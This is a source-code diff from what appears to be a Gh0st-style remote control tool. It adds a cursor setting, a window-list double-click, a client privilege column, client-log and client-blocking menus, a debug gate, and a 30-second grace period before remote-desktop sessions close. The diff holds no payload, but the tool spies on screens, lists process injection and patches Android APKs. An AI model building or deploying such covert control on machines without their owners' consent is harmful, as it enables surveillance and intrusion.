hCursor = (m_Settings.CustomCursor && m_hCustomCursor) ? m_hCustomCursor : LoadCursor(NULL, IDC_ARROW);
|
||||||
} else if (m_bCursorIndex == 255) { // -1: 不支持,回退到箭头
|
} else if (m_bCursorIndex == 255) { // -1: 不支持,回退到箭头
|
||||||
hCursor = LoadCursor(NULL, IDC_ARROW);
|
hCursor = LoadCursor(NULL, IDC_ARROW);
|
||||||
} else {
|
} else {
|
||||||
@@ -2177,17 +2186,19 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case IDM_CUSTOM_CURSOR: {
|
case IDM_CUSTOM_CURSOR: {
|
||||||
m_bUseCustomCursor = !m_bUseCustomCursor;
|
m_Settings.CustomCursor = m_Settings.CustomCursor ? FALSE : TRUE;
|
||||||
SysMenu->CheckMenuItem(IDM_CUSTOM_CURSOR, m_bUseCustomCursor ? MF_CHECKED : MF_UNCHECKED);
|
SysMenu->CheckMenuItem(IDM_CUSTOM_CURSOR, m_Settings.CustomCursor ? MF_CHECKED : MF_UNCHECKED);
|
||||||
// 如果当前是自定义光标,立即更新显示
|
// 如果当前是自定义光标,立即更新显示
|
||||||
if (m_bCursorIndex == 254 && m_bIsCtrl) {
|
if (m_bCursorIndex == 254 && m_bIsCtrl) {
|
||||||
HCURSOR cursor = (m_bUseCustomCursor && m_hCustomCursor) ? m_hCustomCursor : LoadCursor(NULL, IDC_ARROW);
|
HCURSOR cursor = (m_Settings.CustomCursor && m_hCustomCursor) ? m_hCustomCursor : LoadCursor(NULL, IDC_ARROW);
|
||||||
if (m_Settings.RemoteCursor) {
|
if (m_Settings.RemoteCursor) {
|
||||||
Invalidate(FALSE);
|
Invalidate(FALSE);
|
||||||
} else {
|
} else {
|
||||||
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)cursor);
|
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)cursor);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
BYTE cmd[4] = { CMD_CUSTOM_CURSOR, m_Settings.CustomCursor };
|
||||||
|
m_ContextObject->Send2Client(cmd, sizeof(cmd));
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -277,7 +277,6 @@ public:
|
|||||||
HCURSOR m_hRemoteCursor = NULL;
|
HCURSOR m_hRemoteCursor = NULL;
|
||||||
HCURSOR m_hCustomCursor = NULL; // 缓存的自定义光标
|
HCURSOR m_hCustomCursor = NULL; // 缓存的自定义光标
|
||||||
DWORD m_dwCustomCursorHash = 0; // 当前自定义光标哈希
|
DWORD m_dwCustomCursorHash = 0; // 当前自定义光标哈希
|
||||||
BOOL m_bUseCustomCursor = TRUE; // 是否使用自定义光标
|
|
||||||
CRect m_CRect;
|
CRect m_CRect;
|
||||||
double m_wZoom=1, m_hZoom=1;
|
double m_wZoom=1, m_hZoom=1;
|
||||||
int m_offsetX=0, m_offsetY=0; // 自适应模式黑边偏移(像素)
|
int m_offsetX=0, m_offsetY=0; // 自适应模式黑边偏移(像素)
|
||||||
|
|||||||
@@ -56,6 +56,7 @@ BEGIN_MESSAGE_MAP(CSystemDlg, CDialog)
|
|||||||
ON_COMMAND(ID_PLIST_INJECT, &CSystemDlg::OnPlistInject)
|
ON_COMMAND(ID_PLIST_INJECT, &CSystemDlg::OnPlistInject)
|
||||||
ON_COMMAND(ID_PLIST_ANTI_BLACK_SCREEN, &CSystemDlg::OnPlistAntiBlackScreen)
|
ON_COMMAND(ID_PLIST_ANTI_BLACK_SCREEN, &CSystemDlg::OnPlistAntiBlackScreen)
|
||||||
ON_COMMAND(ID_WLIST_VIEW, &CSystemDlg::OnWlistView)
|
ON_COMMAND(ID_WLIST_VIEW, &CSystemDlg::OnWlistView)
|
||||||
|
ON_NOTIFY(NM_DBLCLK, IDC_LIST_SYSTEM, &CSystemDlg::OnNMDblclkListSystem)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
@@ -72,6 +73,10 @@ BOOL CSystemDlg::OnInitDialog()
|
|||||||
m_bHow==TOKEN_PSLIST
|
m_bHow==TOKEN_PSLIST
|
||||||
? str.FormatL("%s - 进程管理", m_IPAddress)
|
? str.FormatL("%s - 进程管理", m_IPAddress)
|
||||||
:str.FormatL("%s - 窗口管理", m_IPAddress);
|
:str.FormatL("%s - 窗口管理", m_IPAddress);
|
||||||
|
#ifdef _WIN32
|
||||||
|
if(m_bHow == TOKEN_WSLIST)
|
||||||
|
str += CString(" - ") + _TR("双击查看");
|
||||||
|
#endif
|
||||||
SetWindowText(str);//设置对话框标题
|
SetWindowText(str);//设置对话框标题
|
||||||
|
|
||||||
m_ControlList.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);
|
m_ControlList.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);
|
||||||
@@ -666,3 +671,11 @@ void CSystemDlg::OnWlistView()
|
|||||||
delete[] arg;
|
delete[] arg;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CSystemDlg::OnNMDblclkListSystem(NMHDR* pNMHDR, LRESULT* pResult)
|
||||||
|
{
|
||||||
|
if (m_bHow == TOKEN_WSLIST)
|
||||||
|
OnWlistView();
|
||||||
|
|
||||||
|
*pResult = 0;
|
||||||
|
}
|
||||||
|
|||||||
@@ -49,4 +49,5 @@ public:
|
|||||||
afx_msg void OnPlistInject();
|
afx_msg void OnPlistInject();
|
||||||
afx_msg void OnPlistAntiBlackScreen();
|
afx_msg void OnPlistAntiBlackScreen();
|
||||||
afx_msg void OnWlistView();
|
afx_msg void OnWlistView();
|
||||||
|
afx_msg void OnNMDblclkListSystem(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -1814,6 +1814,16 @@ bool CWebService::StartRemoteDesktop(uint64_t device_id) {
|
|||||||
context* ctx = m_pParentDlg->FindHost(device_id);
|
context* ctx = m_pParentDlg->FindHost(device_id);
|
||||||
if (!ctx) return false;
|
if (!ctx) return false;
|
||||||
|
|
||||||
|
// Cancel any pending grace-period close so the existing session stays alive.
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(m_PendingCloseMutex);
|
||||||
|
auto it = m_PendingCloseTimers.find(device_id);
|
||||||
|
if (it != m_PendingCloseTimers.end()) {
|
||||||
|
it->second->store(true);
|
||||||
|
m_PendingCloseTimers.erase(it);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// Check if there's already a Web session for this device
|
// Check if there's already a Web session for this device
|
||||||
// Only reuse if Web has already triggered AND a Web dialog exists
|
// Only reuse if Web has already triggered AND a Web dialog exists
|
||||||
// This ensures MFC and Web have independent dialogs
|
// This ensures MFC and Web have independent dialogs
|
||||||
@@ -1854,11 +1864,36 @@ void CWebService::StopRemoteDesktop(uint64_t device_id) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// If no more web clients watching, close only the Web session dialog
|
// If no more web clients watching, defer close by 30 s so a quick
|
||||||
// MFC dialogs remain open
|
// mobile reconnect (e.g. switching to a TOTP app) reuses the existing
|
||||||
|
// CScreenSpyDlg without a full cold-start.
|
||||||
if (watchingCount == 0) {
|
if (watchingCount == 0) {
|
||||||
ClearWebTriggered(device_id);
|
auto cancelled = std::make_shared<std::atomic<bool>>(false);
|
||||||
m_pParentDlg->CloseWebRemoteDesktopByClientID(device_id);
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(m_PendingCloseMutex);
|
||||||
|
auto it = m_PendingCloseTimers.find(device_id);
|
||||||
|
if (it != m_PendingCloseTimers.end())
|
||||||
|
it->second->store(true);
|
||||||
|
m_PendingCloseTimers[device_id] = cancelled;
|
||||||
|
}
|
||||||
|
std::thread([this, device_id, cancelled]() {
|
||||||
|
std::this_thread::sleep_for(std::chrono::seconds(30));
|
||||||
|
if (cancelled->load()) return;
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(m_PendingCloseMutex);
|
||||||
|
m_PendingCloseTimers.erase(device_id);
|
||||||
|
}
|
||||||
|
int count = 0;
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_ClientsMutex);
|
||||||
|
for (const auto& [ws, client] : m_Clients)
|
||||||
|
if (client.watch_device_id == device_id) count++;
|
||||||
|
}
|
||||||
|
if (count == 0 && m_pParentDlg) {
|
||||||
|
ClearWebTriggered(device_id);
|
||||||
|
m_pParentDlg->CloseWebRemoteDesktopByClientID(device_id);
|
||||||
|
}
|
||||||
|
}).detach();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -5,6 +5,8 @@
|
|||||||
#include <vector>
|
#include <vector>
|
||||||
#include <map>
|
#include <map>
|
||||||
#include <set>
|
#include <set>
|
||||||
|
#include <atomic>
|
||||||
|
#include <chrono>
|
||||||
#include <mutex>
|
#include <mutex>
|
||||||
#include <thread>
|
#include <thread>
|
||||||
#include <memory>
|
#include <memory>
|
||||||
@@ -231,6 +233,13 @@ private:
|
|||||||
std::set<uint64_t> m_OfflineDevices; // Devices that went offline since last flush
|
std::set<uint64_t> m_OfflineDevices; // Devices that went offline since last flush
|
||||||
std::mutex m_DirtyDevicesMutex;
|
std::mutex m_DirtyDevicesMutex;
|
||||||
|
|
||||||
|
// Grace-period timers: delay CloseWebRemoteDesktopByClientID by 30 s after
|
||||||
|
// the last web viewer disconnects to allow quick mobile reconnects (e.g.
|
||||||
|
// switching to a TOTP app briefly). Cancelled by StartRemoteDesktop when a
|
||||||
|
// viewer reconnects within the window.
|
||||||
|
std::map<uint64_t, std::shared_ptr<std::atomic<bool>>> m_PendingCloseTimers;
|
||||||
|
std::mutex m_PendingCloseMutex;
|
||||||
|
|
||||||
public:
|
public:
|
||||||
// Check if a device session was triggered by web (should be hidden)
|
// Check if a device session was triggered by web (should be hidden)
|
||||||
bool IsWebTriggered(uint64_t device_id);
|
bool IsWebTriggered(uint64_t device_id);
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ enum {
|
|||||||
ONLINELIST_VIDEO, // 摄像头(有无)
|
ONLINELIST_VIDEO, // 摄像头(有无)
|
||||||
ONLINELIST_PING, // PING(对方的网速)
|
ONLINELIST_PING, // PING(对方的网速)
|
||||||
ONLINELIST_VERSION, // 版本信息
|
ONLINELIST_VERSION, // 版本信息
|
||||||
|
ONLINELIST_PRIVILEGE, // 权限级别 (SYSTEM/Admin/User)
|
||||||
ONLINELIST_INSTALLTIME, // 安装时间
|
ONLINELIST_INSTALLTIME, // 安装时间
|
||||||
ONLINELIST_LOGINTIME, // 活动窗口
|
ONLINELIST_LOGINTIME, // 活动窗口
|
||||||
ONLINELIST_CLIENTTYPE, // 客户端类型
|
ONLINELIST_CLIENTTYPE, // 客户端类型
|
||||||
|
|||||||
@@ -1945,3 +1945,23 @@ FRPC Զ
|
|||||||
授权 %s 的下级数量限制已清除。\n下级重新认证后生效。=Sub-license limit for %s has been cleared.\nTakes effect when the sub-client re-authenticates.
|
授权 %s 的下级数量限制已清除。\n下级重新认证后生效。=Sub-license limit for %s has been cleared.\nTakes effect when the sub-client re-authenticates.
|
||||||
提示: APK 已被修改,原签名失效,需要重签后才能安装到设备。=Note: APK has been patched and the original signature is invalid. Re-sign before installing.
|
提示: APK 已被修改,原签名失效,需要重签后才能安装到设备。=Note: APK has been patched and the original signature is invalid. Re-sign before installing.
|
||||||
重签命令 (需 Android SDK build-tools):=Re-sign command (requires Android SDK build-tools):
|
重签命令 (需 Android SDK build-tools):=Re-sign command (requires Android SDK build-tools):
|
||||||
|
权限=Access
|
||||||
|
双击查看=Double Click to View
|
||||||
|
浏览窗口=View Windows
|
||||||
|
开发者模式=Developer Mode
|
||||||
|
您必须正确设置 YAMA_DBG 才能调试此程序!\r\n请联系管理员请求授权。=Only if YAMA_DBG is set that you can debug this program!\r\nPlease contact administrator!
|
||||||
|
您已设置 YAMA_DBG, 请确保环境变量正确无误!\r\n=You have set YAMA_DBG, please ensure it's correct!\r\n
|
||||||
|
设置环境变量=Set YAMA_DBG
|
||||||
|
设置成功! 请重启程序和调试器。=Successful! Please restart program and debugger.
|
||||||
|
设置失败! 通常是权限不足, 请手动在系统环境变量设置。=Failed! You have to set it via system environment center.
|
||||||
|
运行日志=Client Log
|
||||||
|
客户端日志=Client Log
|
||||||
|
封禁使用=Forbidden Client
|
||||||
|
确定封禁选定的被控程序吗?=Are you sure to forbidden the selected clients?
|
||||||
|
无结果=Not found
|
||||||
|
严禁=Prohibited
|
||||||
|
禁止=Forbidden
|
||||||
|
失败=Failed
|
||||||
|
搜索日志=Search Logs
|
||||||
|
隐藏搜索=Hide Search
|
||||||
|
请=Please
|
||||||
|
|||||||
@@ -1936,3 +1936,23 @@ FRPC Զ
|
|||||||
授权 %s 的下级数量限制已清除。\n下级重新认证后生效。=授权 %s 的下级数量限制已清除。\n下级重新认证后生效。
|
授权 %s 的下级数量限制已清除。\n下级重新认证后生效。=授权 %s 的下级数量限制已清除。\n下级重新认证后生效。
|
||||||
提示: APK 已被修改,原签名失效,需要重签后才能安装到设备。=提示: APK 已被修改,原簽名失效,需要重簽後才能安裝到裝置。
|
提示: APK 已被修改,原签名失效,需要重签后才能安装到设备。=提示: APK 已被修改,原簽名失效,需要重簽後才能安裝到裝置。
|
||||||
重签命令 (需 Android SDK build-tools):=重簽命令 (需 Android SDK build-tools):
|
重签命令 (需 Android SDK build-tools):=重簽命令 (需 Android SDK build-tools):
|
||||||
|
权限=权限
|
||||||
|
双击查看=双击查看
|
||||||
|
浏览窗口=浏览窗口
|
||||||
|
开发者模式=开发者模式
|
||||||
|
您必须正确设置 YAMA_DBG 才能调试此程序!\r\n请联系管理员请求授权。=您必须正确设置 YAMA_DBG 才能调试此程序!\r\n请联系管理员请求授权。
|
||||||
|
您已设置 YAMA_DBG, 请确保环境变量正确无误!\r\n=您已设置 YAMA_DBG, 请确保环境变量正确无误!\r\n
|
||||||
|
设置环境变量=设置环境变量
|
||||||
|
设置成功! 请重启程序和调试器。=设置成功! 请重启程序和调试器。
|
||||||
|
设置失败! 通常是权限不足, 请手动在系统环境变量设置。=设置失败! 通常是权限不足, 请手动在系统环境变量设置。
|
||||||
|
运行日志=运行日志
|
||||||
|
客户端日志=客户端日志
|
||||||
|
封禁使用=封禁使用
|
||||||
|
确定封禁选定的被控程序吗?=确定封禁选定的被控程序吗?
|
||||||
|
无结果=无结果
|
||||||
|
严禁=严禁
|
||||||
|
禁止=禁止
|
||||||
|
失败=失败
|
||||||
|
搜索日志=搜索日志
|
||||||
|
隐藏搜索=隐藏搜索
|
||||||
|
请=请
|
||||||
|
|||||||
BIN
server/2015Remote/res/Bitmap/ClientLog.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/ClientLog.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.1 KiB |
BIN
server/2015Remote/res/Bitmap/Debug.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/Debug.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
BIN
server/2015Remote/res/Bitmap/Forbidden.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/Forbidden.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.1 KiB |
BIN
server/2015Remote/res/ClientLog.ico
Normal file
BIN
server/2015Remote/res/ClientLog.ico
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 4.2 KiB |
@@ -271,6 +271,12 @@
|
|||||||
#define IDB_BITMAP_ACTIVE_WND 390
|
#define IDB_BITMAP_ACTIVE_WND 390
|
||||||
#define IDR_BINARY8 391
|
#define IDR_BINARY8 391
|
||||||
#define IDR_ANDROID_GHOST 391
|
#define IDR_ANDROID_GHOST 391
|
||||||
|
#define IDB_BITMAP_DEBUG 392
|
||||||
|
#define IDD_DIALOG8 393
|
||||||
|
#define IDD_DIALOG_CLIENT_LOG 393
|
||||||
|
#define IDB_BITMAP_CLIENTLOG 395
|
||||||
|
#define IDI_CLIENTLOG 396
|
||||||
|
#define IDB_BITMAP_FORBIDDEN 397
|
||||||
#define IDC_MESSAGE 1000
|
#define IDC_MESSAGE 1000
|
||||||
#define IDC_ONLINE 1001
|
#define IDC_ONLINE 1001
|
||||||
#define IDC_STATIC_TIPS 1002
|
#define IDC_STATIC_TIPS 1002
|
||||||
@@ -754,6 +760,7 @@
|
|||||||
#define IDC_LIST_TRIGGERS 2543
|
#define IDC_LIST_TRIGGERS 2543
|
||||||
#define IDC_STATIC_TRIGGER_TYPE 2544
|
#define IDC_STATIC_TRIGGER_TYPE 2544
|
||||||
#define IDC_STATIC_TRIGGER_ACTION 2545
|
#define IDC_STATIC_TRIGGER_ACTION 2545
|
||||||
|
#define IDC_EDIT_LOG 2546
|
||||||
#define ID_ONLINE_UPDATE 32772
|
#define ID_ONLINE_UPDATE 32772
|
||||||
#define ID_ONLINE_MESSAGE 32773
|
#define ID_ONLINE_MESSAGE 32773
|
||||||
#define ID_ONLINE_DELETE 32775
|
#define ID_ONLINE_DELETE 32775
|
||||||
@@ -983,6 +990,7 @@
|
|||||||
#define ID_MSGLOG_CLEAR 33041
|
#define ID_MSGLOG_CLEAR 33041
|
||||||
#define ID_CANCEL_SHARE 33042
|
#define ID_CANCEL_SHARE 33042
|
||||||
#define ID_MSGLOG_COPY 33043
|
#define ID_MSGLOG_COPY 33043
|
||||||
|
#define ID_MSGLOG_SEARCH 33078
|
||||||
#define ID_WEB_REMOTE_CONTROL 33044
|
#define ID_WEB_REMOTE_CONTROL 33044
|
||||||
#define ID_TOOL_PLUGIN_SETTINGS 33045
|
#define ID_TOOL_PLUGIN_SETTINGS 33045
|
||||||
#define ID_33046 33046
|
#define ID_33046 33046
|
||||||
@@ -1009,14 +1017,22 @@
|
|||||||
#define ID_ONLINE_33066 33066
|
#define ID_ONLINE_33066 33066
|
||||||
#define ID_ONLINE_ACTIVE_WND 33067
|
#define ID_ONLINE_ACTIVE_WND 33067
|
||||||
#define ID_LICENSE_SET_LIMIT 33068
|
#define ID_LICENSE_SET_LIMIT 33068
|
||||||
|
#define ID_33069 33069
|
||||||
|
#define ID_ONLINE_VIEW_WND 33070
|
||||||
|
#define ID_33071 33071
|
||||||
|
#define ID_ENABLE_DEV_DEBUG 33072
|
||||||
|
#define ID_ONLINE_33073 33073
|
||||||
|
#define ID_ONLINE_CLIENT_LOG 33074
|
||||||
|
#define ID_ONLINE_33075 33075
|
||||||
|
#define ID_ONLINE_FORBIDDEN 33076
|
||||||
#define ID_EXIT_FULLSCREEN 40001
|
#define ID_EXIT_FULLSCREEN 40001
|
||||||
|
|
||||||
// Next default values for new objects
|
// Next default values for new objects
|
||||||
//
|
//
|
||||||
#ifdef APSTUDIO_INVOKED
|
#ifdef APSTUDIO_INVOKED
|
||||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||||
#define _APS_NEXT_RESOURCE_VALUE 392
|
#define _APS_NEXT_RESOURCE_VALUE 398
|
||||||
#define _APS_NEXT_COMMAND_VALUE 33069
|
#define _APS_NEXT_COMMAND_VALUE 33079
|
||||||
#define _APS_NEXT_CONTROL_VALUE 2542
|
#define _APS_NEXT_CONTROL_VALUE 2542
|
||||||
#define _APS_NEXT_SYMED_VALUE 105
|
#define _APS_NEXT_SYMED_VALUE 105
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
@@ -110,6 +110,8 @@
|
|||||||
#define WM_SPLITTER_MOVED WM_USER+3040
|
#define WM_SPLITTER_MOVED WM_USER+3040
|
||||||
#define WM_SPLITTER_RELEASED WM_USER+3041
|
#define WM_SPLITTER_RELEASED WM_USER+3041
|
||||||
#define WM_OPEN_WINDOW_SCREEN WM_USER+3042 // 窗口管理→打开指定窗口远程画面
|
#define WM_OPEN_WINDOW_SCREEN WM_USER+3042 // 窗口管理→打开指定窗口远程画面
|
||||||
|
#define WM_OPENCLIENTLOGDIALOG WM_USER+3043 // 打开客户端日志对话框
|
||||||
|
#define WM_REPORT_CLIENT_LOG WM_USER+3044 // 追加日志到已打开的对话框
|
||||||
|
|
||||||
#ifdef _UNICODE
|
#ifdef _UNICODE
|
||||||
#if defined _M_IX86
|
#if defined _M_IX86
|
||||||
|
|||||||
@@ -95,6 +95,12 @@ type wsHub struct {
|
|||||||
mu sync.RWMutex
|
mu sync.RWMutex
|
||||||
clients map[*wsClient]struct{}
|
clients map[*wsClient]struct{}
|
||||||
|
|
||||||
|
// screenCloseTimers delays CloseScreen by screenCloseGrace after the last
|
||||||
|
// viewer disconnects. A reconnect within that window cancels the timer and
|
||||||
|
// reuses the live screen sub-conn (hot path), avoiding a full cold-start.
|
||||||
|
// Guarded by mu.
|
||||||
|
screenCloseTimers map[string]*time.Timer
|
||||||
|
|
||||||
unsub func()
|
unsub func()
|
||||||
|
|
||||||
// Hardening knobs wired from server.Config. Nil/empty values mean
|
// Hardening knobs wired from server.Config. Nil/empty values mean
|
||||||
@@ -111,7 +117,8 @@ func newWSHub(auth *wsauth.Authenticator, devices *hub.Hub, log *logger.Logger)
|
|||||||
auth: auth,
|
auth: auth,
|
||||||
devices: devices,
|
devices: devices,
|
||||||
log: log,
|
log: log,
|
||||||
clients: make(map[*wsClient]struct{}),
|
clients: make(map[*wsClient]struct{}),
|
||||||
|
screenCloseTimers: make(map[string]*time.Timer),
|
||||||
}
|
}
|
||||||
h.unsub = devices.Subscribe(h)
|
h.unsub = devices.Subscribe(h)
|
||||||
return h
|
return h
|
||||||
@@ -405,7 +412,7 @@ func (h *wsHub) unregister(c *wsClient) {
|
|||||||
// session so the device stops encoding. Done OUTSIDE the lock so the
|
// session so the device stops encoding. Done OUTSIDE the lock so the
|
||||||
// hub's mutators can take their own locks without risk of recursion.
|
// hub's mutators can take their own locks without risk of recursion.
|
||||||
if c.watching != "" && h.countWatchers(c.watching) == 0 {
|
if c.watching != "" && h.countWatchers(c.watching) == 0 {
|
||||||
h.devices.CloseScreen(c.watching)
|
h.deferredCloseScreen(c.watching)
|
||||||
}
|
}
|
||||||
// Terminal sessions are single-viewer by design, so any open session
|
// Terminal sessions are single-viewer by design, so any open session
|
||||||
// belongs to this client. Tear it down so the next viewer doesn't
|
// belongs to this client. Tear it down so the next viewer doesn't
|
||||||
@@ -421,6 +428,30 @@ func (h *wsHub) unregister(c *wsClient) {
|
|||||||
c.close()
|
c.close()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// screenCloseGrace is how long we keep a device's screen sub-conn alive after
|
||||||
|
// the last browser viewer disconnects. A reconnect within this window (e.g.
|
||||||
|
// the user briefly switched to a TOTP app on mobile) cancels the timer and
|
||||||
|
// resumes on the hot path — no cold-start, no waiting for a new IDR.
|
||||||
|
const screenCloseGrace = 30 * time.Second
|
||||||
|
|
||||||
|
// deferredCloseScreen schedules CloseScreen after screenCloseGrace unless a
|
||||||
|
// viewer reconnects first. Must be called without h.mu held.
|
||||||
|
func (h *wsHub) deferredCloseScreen(deviceID string) {
|
||||||
|
h.mu.Lock()
|
||||||
|
if t, ok := h.screenCloseTimers[deviceID]; ok {
|
||||||
|
t.Stop()
|
||||||
|
}
|
||||||
|
h.screenCloseTimers[deviceID] = time.AfterFunc(screenCloseGrace, func() {
|
||||||
|
h.mu.Lock()
|
||||||
|
delete(h.screenCloseTimers, deviceID)
|
||||||
|
h.mu.Unlock()
|
||||||
|
if h.countWatchers(deviceID) == 0 {
|
||||||
|
h.devices.CloseScreen(deviceID)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
h.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
// ----- HTTP handler -------------------------------------------------------
|
// ----- HTTP handler -------------------------------------------------------
|
||||||
|
|
||||||
func (h *wsHub) serve(w http.ResponseWriter, r *http.Request) {
|
func (h *wsHub) serve(w http.ResponseWriter, r *http.Request) {
|
||||||
|
|||||||
@@ -244,7 +244,7 @@ func (h *wsHub) handleDisconnect(c *wsClient, _ []byte) {
|
|||||||
h.mu.Unlock()
|
h.mu.Unlock()
|
||||||
c.queue([]byte(`{"cmd":"disconnect_result","ok":true}`))
|
c.queue([]byte(`{"cmd":"disconnect_result","ok":true}`))
|
||||||
if prev != "" && h.countWatchers(prev) == 0 {
|
if prev != "" && h.countWatchers(prev) == 0 {
|
||||||
h.devices.CloseScreen(prev)
|
h.deferredCloseScreen(prev)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -288,6 +288,11 @@ func (h *wsHub) handleConnect(c *wsClient, raw []byte) {
|
|||||||
c.queueBinary(cache.Keyframe)
|
c.queueBinary(cache.Keyframe)
|
||||||
}
|
}
|
||||||
h.mu.Lock()
|
h.mu.Lock()
|
||||||
|
// Cancel any pending deferred close so the relay stays alive.
|
||||||
|
if t, ok := h.screenCloseTimers[in.ID]; ok {
|
||||||
|
t.Stop()
|
||||||
|
delete(h.screenCloseTimers, in.ID)
|
||||||
|
}
|
||||||
c.watching = in.ID
|
c.watching = in.ID
|
||||||
h.mu.Unlock()
|
h.mu.Unlock()
|
||||||
return
|
return
|
||||||
|
|||||||
@@ -4185,11 +4185,33 @@
|
|||||||
clearTimeout(backgroundDisconnectTimer);
|
clearTimeout(backgroundDisconnectTimer);
|
||||||
backgroundDisconnectTimer = null;
|
backgroundDisconnectTimer = null;
|
||||||
}
|
}
|
||||||
// Reconnect or send immediate ping
|
const screenPage = document.getElementById('screen-page');
|
||||||
|
const onScreenPage = screenPage && screenPage.classList.contains('active') && currentDevice;
|
||||||
|
|
||||||
if (!ws || ws.readyState !== WebSocket.OPEN) {
|
if (!ws || ws.readyState !== WebSocket.OPEN) {
|
||||||
|
// WS was dropped — reset decoder before reconnect.
|
||||||
|
if (onScreenPage && decoder) {
|
||||||
|
try { decoder.close(); } catch(e) {}
|
||||||
|
decoder = null;
|
||||||
|
needKeyframe = true;
|
||||||
|
}
|
||||||
|
connectWebSocket();
|
||||||
|
} else if (onScreenPage && isTouchDevice) {
|
||||||
|
// iOS suspends the tab and silently invalidates the VideoDecoder
|
||||||
|
// GPU context (or quietly closes the WS while readyState stays OPEN).
|
||||||
|
// Always force a clean WS reconnect on mobile so the server delivers
|
||||||
|
// a fresh stream start; the server no longer sends a stale cached
|
||||||
|
// keyframe (cleared on disconnect), so the client waits for the next
|
||||||
|
// natural IDR — no mosaic, no freeze.
|
||||||
|
if (decoder) {
|
||||||
|
try { decoder.close(); } catch(e) {}
|
||||||
|
decoder = null;
|
||||||
|
needKeyframe = true;
|
||||||
|
}
|
||||||
|
ws.onclose = null;
|
||||||
|
ws.close();
|
||||||
connectWebSocket();
|
connectWebSocket();
|
||||||
} else if (token) {
|
} else if (token) {
|
||||||
// Connection still open - send immediate ping to refresh server heartbeat
|
|
||||||
ws.send(JSON.stringify({ cmd: 'ping', token }));
|
ws.send(JSON.stringify({ cmd: 'ping', token }));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user